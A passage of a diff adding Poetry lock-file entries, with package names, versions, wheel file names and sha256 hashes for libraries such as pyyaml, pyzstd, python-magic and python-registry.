+ {file = "python_libarchive-4.2.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de110cc6ec67d70a537a4987b792c8ca77daa07f764fb9c071c79627aa429460"},
+ {file = "python_libarchive-4.2.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:17d327ccd5fa0cbc2bc565cb3c039a9fe792eb18273d3573d78642daab5f752c"},
+ {file = "python_libarchive-4.2.1-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7053bc44c65d1b6bc82e6d54422a53a1610347ee3cc177dc9f4be2357fcadcf8"},
+ {file = "python_libarchive-4.2.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c7147b37bdae0d39afb97197f3c102c0e71335da579f78e23ff601f8a1b62f26"},
+ {file = "python_libarchive-4.2.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:3489a0b7b6a215ee668dcf08bd69eacbb063de5eb35dd627b71292909821c5bb"},
+ {file = "python_libarchive-4.2.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:f0e8d5a8936ad1845e1b1ac0d333ef35e7e6005cde2bc543c1ae7972d80e4445"},
+ {file = "python_libarchive-4.2.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8779e59dc6c0f7aa16c1900c697c4bc7debbcec17f021333cc6b3b6992caf7a8"},
+ {file = "python_libarchive-4.2.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:876d009dd9716b40a48395e3de30a6291dd49cdc789d437059c6d8edfe210ad9"},
+ {file = "python_libarchive-4.2.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:57f3b2debcb61d3379125af400f79e6940865c8426a1db8d01739e409d4381c1"},
+ {file = "python_libarchive-4.2.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5c1deeb34285334c4eb7e3a07327c6e014083794cf729dd5bc9e0a3a31348004"},
+ {file = "python_libarchive-4.2.1-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5770d7cb8d2b549870c71bebd8d3af7d00d003913b15193f1d7d52d1e18ee8a0"},
+ {file = "python_libarchive-4.2.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0c747238dc38b78993bc0539e8273bb51c9e334f9f2f7b0cbfe4568fa3d1ce7"},
+ {file = "python_libarchive-4.2.1-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1dc3ace1570878b459ab51ed83a6d558923c15ca3fa1a9a6c5ec9bf87bce4ca6"},
+ {file = "python_libarchive-4.2.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2cc1ce22b62f46912368d110b61d88a1ca5b958e4a3d648202463aa7e9303de4"},
+ {file = "python_libarchive-4.2.1-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbc38afa283510ee99823b90b4c4c59de8df22a481e0707bbc8bb96017e5a2f"},
+ {file = "python_libarchive-4.2.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4ddd285fc76b69f29be6974b4858d46249d45ee49d0e42ebc9443ff1d6a46fd2"},
+]
+
+[[package]]
+name = "python-magic"
+version = "0.4.27"
+description = "File type identification using libmagic"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+files = [
+ {file = "python-magic-0.4.27.tar.gz", hash = "sha256:c1ba14b08e4a5f5c31a302b7721239695b2f0f058d125bd5ce1ee36b9d9d3c3b"},
+ {file = "python_magic-0.4.27-py2.py3-none-any.whl", hash = "sha256:c212960ad306f700aa0d01e5d7a325d20548ff97eb9920dcd29513174f0294d3"},
+]
+
+[[package]]
+name = "python-multipart"
+version = "0.0.6"
+description = "A streaming multipart parser for Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "python_multipart-0.0.6-py3-none-any.whl", hash = "sha256:ee698bab5ef148b0a760751c261902cd096e57e10558e11aca17646b74ee1c18"},
+ {file = "python_multipart-0.0.6.tar.gz", hash = "sha256:e9925a80bb668529f1b67c7fdb0a5dacdd7cbfc6fb0bff3ea443fe22bdd62132"},
+]
+
+[package.extras]
+dev = ["atomicwrites (==1.2.1)", "attrs (==19.2.0)", "coverage (==6.5.0)", "hatch", "invoke (==1.7.3)", "more-itertools (==4.3.0)", "pbr (==4.3.0)", "pluggy (==1.0.0)", "py (==1.11.0)", "pytest (==7.2.0)", "pytest-cov (==4.0.0)", "pytest-timeout (==2.1.0)", "pyyaml (==5.1)"]
+
+[[package]]
+name = "python-registry"
+version = "1.3.1"
+description = "Read access to Windows Registry files."
+optional = false
+python-versions = "*"
+files = [
+ {file = "python-registry-1.3.1.tar.gz", hash = "sha256:99185f67d5601be3e7843e55902d5769aea1740869b0882f34ff1bd4b43b1eb2"},
+ {file = "python_registry-1.3.1-py2-none-any.whl", hash = "sha256:59d3b00c04bca0c4e1a12be0404da6ccf76b87537ee3a3ad2d8fc1bccf6f63ca"},
+ {file = "python_registry-1.3.1-py3-none-any.whl", hash = "sha256:b5b8ae07c271dce12dacd24e16af8aa8d56167ebdb360112a4f152b6d04a4ca9"},
+]
+
+[package.dependencies]
+enum-compat = "*"
+unicodecsv = "*"
+
+[[package]]
+name = "pyyaml"
+version = "6.0"
+description = "YAML parser and emitter for Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"},
+ {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"},
+ {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"},
+ {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"},
+ {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"},
+ {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"},
+ {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"},
+ {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"},
+ {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"},
+ {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"},
+ {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"},
+ {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"},
+ {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"},
+ {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"},
+ {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"},
+ {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"},
+ {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"},
+ {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"},
+]
+
+[[package]]
+name = "pyzstd"
+version = "0.15.9"
+description = "Python bindings to Zstandard (zstd) compression library, the API style is similar to Python's bz2/lzma/zlib modules."
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "pyzstd-0.15.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:209a92fbe892bd69cde58ffcb4861468e2c3c2d0626763e16e122bb55cb1fb1a"},
+ {file = "pyzstd-0.15.9-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f6d8a881b50bb2015e9bdba5edb0331e85d41ff44ab33cde551047480b98d748"},
+ {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bdc09de97b1b3f6c3d87fec04d6fe29dd4fefe6b354ad2d822fc369b8aa0942b"},
+ {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a1b81cc86b69ff530d45e735ed479e14704999f534ad28a39f04be4a8fe2b91f"},
+ {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fb00c706d0b59c53124f982bd84b7d46866a8ea2a7670aaaa1ab4dbe6001b50"},
+ {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:606b2452d78f0f731566d392f8d83cd012c2ffadb2cb2e2903fdd360c1faac8a"},
+ {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:23695dabdfd5081beab25754dc0105b42fbd2085a7c293901bcb45045969c5ec"},
+ {file = "pyzstd-0.15.9-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:74455bd918e7bc9883e3178a1a8fe796308670f0ee4488c80a0d9514e13807a1"},
+ {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6128cb653d011f3781554b70ce1f1f388cd516820fbaf8fd03ee245ecaa48349"},
+ {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a708b9e6ff1826504940beb6b5c2c9dfd4e3b55c16ab88a4572f5b9dbb64cc56"},
+ {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:1b9cda5314982d64c856f9298be0d9bf69fbff0ca514d1651037616354b473ff"},
+ {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:f7cfc683d320402d61205a196ace77f15dcfd16b5771f8b9ffaf406868c98e78"},
+ {file = "pyzstd-0.15.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:3f0fe2ef7ebc6e9b347585e414c4fefd32270ba8bdf9eb82496f3030cbdca465"},
+ {file = "pyzstd-0.15.9-cp310-cp310-win32.whl", hash = "sha256:e8f75e839ee253af60b03d9957182fdd069dfaebb62b4e999bd74016f4e120bb"},
+ {file = "pyzstd-0.15.9-cp310-cp310-win_amd64.whl", hash = "sha256:77294f0f797c97a46ffb3daff1fe097c9d5aa9f96867333978e6791286963e50"},
+ {file = "pyzstd-0.15.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:afef9eb882cf3b395eef9c85b737a4acd09528975e6a5d9faedf28874ca65f52"},
+ {file = "pyzstd-0.15.9-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d44a7d4586f02b630658298c089ff755e74d0677b93c71e09d33dd35bdd4987a"},
+ {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cbf212253abd65e6451acdfb608adafe98ad8f05462fb9a054ddab816545caa"},
+ {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5819d502dacd54114c30bc24efcb76e723b93f8f528be70851056a396a792c46"},
+ {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:50ccbaafee80b4f1c5c55bbe07f80871b9b8fe3499bf7357dde2c23fb1c2ac0e"},
+ {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7c420878726d677da7484f6021dbe7e1f9345a791b155de632c6ce36678fb621"},
+ {file = "pyzstd-0.15.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:14121a4d95070f54bdc9a80dab1dd8fd9093907a1e687926447ca69b5b40a4d5"},
+ {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:00c188704141c709da96cc4a79f058d51f5318e839d6f904c7cc9badcf78e98e"},
+ {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:836f1d85a4b5d3689d455aeb1dc6c42acb96aaf8e5282825c00ccf2545ad5630"},
+ {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:91453ce9476363d777b2ea2e9c6dccecd2073cf35697e048de2e8d47e1f36c7c"},
+ {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:c249741b10eb714578d765487b767e0e7fcc2ac84a299209a6073566e730dbea"},
+ {file = "pyzstd-0.15.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:542808d88464d538f5d2c6b48b545a7fe15f0d20c7fa703b469d039a08c9fa10"},
+ {file = "pyzstd-0.15.9-cp311-cp311-win32.whl", hash = "sha256:e79babb67b415aa54abb213897ceaa011515a5f3e146a2a97f4e6486b9743af4"},
+ {file = "pyzstd-0.15.9-cp311-cp311-win_amd64.whl", hash = "sha256:ef3399e0544b46d31c2a8ff14ae1fb3c3571ae1153bbbc5ddf0d242c67bde624"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:cd6a8d43a0c294918e3afb7e4b1d8c04d2e4c3ea9ddf05475fdaf366c7e5b3a6"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5aed5fc86d0bfc5f16e871cbb35ec93df61476d7fde4c1c6081015a075ecfbc1"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f9eb97fb6fd4551ff9d5012b4fcee9abeea9c8af6b9e3ebc3c76cc2bd0a43a7"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fd7cf79949174d1018b896638f88aea1ff2a969f87a6199ea23b25b506e26c5"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51607d7d44f94a364ef0e3ccf9a92390def0faf6e7572eef082f15c657b5d03a"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4358dd80b315c82d760b44c6df7857c9c898d04e7b0c14abb0eb3692354e9379"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:013321ddaff083b24e43a8b06303446771978343b488ed73adf56c70a46e2783"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:4ed01beb31d5177456ec2c4b66591a0df83dbc72df29f05f40502bfefe47bbe4"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:69f12ce4866a3725138e97f22f2c4cb21d3ae18cd422906cd57ed12a9ffd86c5"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:305c232462dbe80d0ee5ec91b1b0ec9153ec6ba6393d5348741af5d30b07ef52"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:9e1097d8b57f64878a3f176f4cd6b9a1bbe9fb2d236f1a85a4357722626d8f25"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:6c456882baab2a48a5bfabe458a557af25d0768ff29acbe200461e84c0f697d5"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-win32.whl", hash = "sha256:97e05f66c5847e6889594508298d78ddb84a0115e9234d598415dc5a06d3a4a7"},
+ {file = "pyzstd-0.15.9-cp36-cp36m-win_amd64.whl", hash = "sha256:87a1a4ca93da414f3b6da8131e61aca6d48a4e837fb0b1cbde05ae9d13332317"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:20f2dd56d46441cd9277077060c34c0b9ce3469412665ea5ccd506dd2708d994"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f9c5fc29a5b9d61a8f0a3494172107e0e6cf23d0cb800d6285c6722ba7fc3535"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6f281cc2f096530c339f122e0d9866545f5592dd9bffe0fade565c2771130a45"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2dd39e12f7467a7422ce50711524759d4d22016714cbae6a7096b954bc2fa32"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d3a1b6fa71a0ae7abc320d9db91b5a96a71eef1dbee0d62a6232b71c97af962"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c31f6dd5bd60688d51487a3f5e2ae29ed1948926e44d7a2316b193b083f80d5d"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:dcb2172ca8b62f82af9d1f8db80c21c64c5ba3991935caefde88bb378f0afb51"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:f66790e4b2dcfcabc0aa54dd89317ea5671cabf06aa93cbef7cbdd4d2fdb7ee3"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:960ab83a977a44284c4ffab2820ccd6c9b332571a3d622fefa4b29b0a5de72b0"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:12668ceb8329aaa908b4d907d3a77bb748ff28b309c3b105c995a8715d535d2b"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:441078bfd3b508597415338af667c3575980364f1286eedde58291558b9c2832"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:866ba6ce85f337fa1677516217b6f10fc25e19acb6e17a501d5822e66396bdd5"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-win32.whl", hash = "sha256:b4de7741d542a477387299bf9450e8be3e768c352d6b3438254eb02af1e59462"},
+ {file = "pyzstd-0.15.9-cp37-cp37m-win_amd64.whl", hash = "sha256:d0929302d187bfeca335b7f710f774f1b2ea3f610b2a80e8a1ac2da216cd9766"},
+ {file = "pyzstd-0.15.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c46e77c2ad614a0399503dc675d72436cbf6332a20d49a0e5bad03058d6cbfad"},
+ {file = "pyzstd-0.15.9-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:e789e19095b818f7126180b4387c0f01700c3ad2378a4e7649b2ddf4bf47ffbc"},
+ {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9596aeb8c71192f4fba1ca25cec420da195219398d2df811d5082559efd9561f"},
+ {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f72f310b10b730cddfb654006ae497e7706c81e6a7642d3da7fd2439df7d88d"},
+ {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6a60ee6836599363a24367cf780ad45446b07eba49ec72d19bad761d5414aca7"},
+ {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aff1b469187f6c789cdf17cd95c9b24e87396dc86953b1cf38b9a05cea873c80"},
+ {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5d9ec8634ab0cbfbcff535ac07555ebdae0282ad66762f0471fad11c16181e33"},
+ {file = "pyzstd-0.15.9-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:fc92a718bccb8ce5c9eb63fca743c38f3fa4c4e47f58f0c4ada51b2474668184"},
+ {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f2839c13e486e4a23b19b1d2dc4624565cec6c228bbf803c066be1106515966b"},
+ {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:346f835e368e1051f8ea187ad9b49759cf6249c9ebf2f2a3861e435a568104b8"},
+ {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:5345c7a697327e2fa7c37534bb2968ea84595d8ec7fc8c4a60216ec1be6e65bd"},
+ {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:49c57ae18f138a4b66480b2364fe6a0f2345ada919e93fc729c95c6b17ec73a4"},
+ {file = "pyzstd-0.15.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:2919afd114fd12309ed2f831ef6e95730ebf13c2a92d258ad055769d00ef4d7a"},
+ {file = "pyzstd-0.15.9-cp38-cp38-win32.whl", hash = "sha256:370b34a7c2f9c53cee494028daa5a7264690e1756a89c3855fd0be5ad298ec30"},
+ {file = "pyzstd-0.15.9-cp38-cp38-win_amd64.whl", hash = "sha256:7ac886e04f253960ae82e38ded8352085c61d78de99412d178a94ecf475b5e5f"},
+ {file = "pyzstd-0.15.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:250dad90140a6faea4cef555f339b6ceaad5cf03ed1127b8d06de214ff0db2e7"},
+ {file = "pyzstd-0.15.9-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b5b517fbbc5d223fc36041673e7c2a0d3a82be6a5464a5f0599069330b76f97d"},
+ {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9ac634753f6d26cba503cea7bb5b350aec7c5366f44fa68c79e9c90be9fd0ebc"},
+ {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b2ae8993f3863632d31ca8921c8a5dc9ecc5551c7b88895cefb5a26d17643391"},
+ {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7452ae7e6d80e697d78d3f56d1b4d2a350286eea229afb35f55ab88b934b6acd"},
+ {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae3d0575721a372c20130681bfaf873225fd9e1c290b7d56b7e0c14f413318f6"},
+ {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:29e452caaf0de9cc17319225921d8c28cdc7a879948e990ff1e7735e7f976517"},
